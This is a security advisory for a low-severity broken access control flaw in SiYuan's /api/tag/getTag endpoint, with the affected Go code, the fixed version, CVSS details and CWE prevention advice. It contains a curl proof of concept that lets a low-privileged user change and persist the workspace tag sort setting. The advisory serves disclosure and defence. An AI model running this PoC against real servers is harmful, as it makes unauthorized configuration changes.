Skip to content

GHSA-6r88-8v7q-q4p2 CVE-2026-45147 GO-2026-5188

SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk

Medium Go
Severity
4.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.15%
Chance of exploitation in the next 30 days. Higher than 4.33% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-285 Improper Authorization
CWE-862 Missing Authorization
Fix
0.0.0-20260512140701-d7b77d945e0d
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.

Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:170 — only CheckAuth:

ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)

kernel/api/tag.go:28-64 — handler. The if nil != arg["sort"] block writes config without any role check:

func getTag(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)
    arg, ok := util.JsonArg(c, ret)
    if !ok { return }
    ...
    if nil != arg["sort"] {                    // ← unauthorized write path
        sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
        if !ok { return }
        model.Conf.Tag.Sort = int(sortVal)
        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json
    }
    ...
}

Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).

PoC

Same Docker setup as Advisory 1.

# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
  -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null

# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4

# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
  -H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}

# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7

# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7

The vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.

Impact

Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:

  • It demonstrates the same gap that GHSA-4j3x-hhg2-fm2x was meant to flag broadly (missing CheckAdminRole + CheckReadonly on a read-style endpoint that performs writes); each occurrence has to be patched individually.
  • Conf.Save() rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.
  • A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 0.0.0-20260512140701-d7b77d945e0d
0.0.0-20260512140701-d7b77d945e0d

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260512140701-d7b77d945e0d

go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260512140701-d7b77d945e0d && go mod tidy

Severity breakdown

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-285: Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor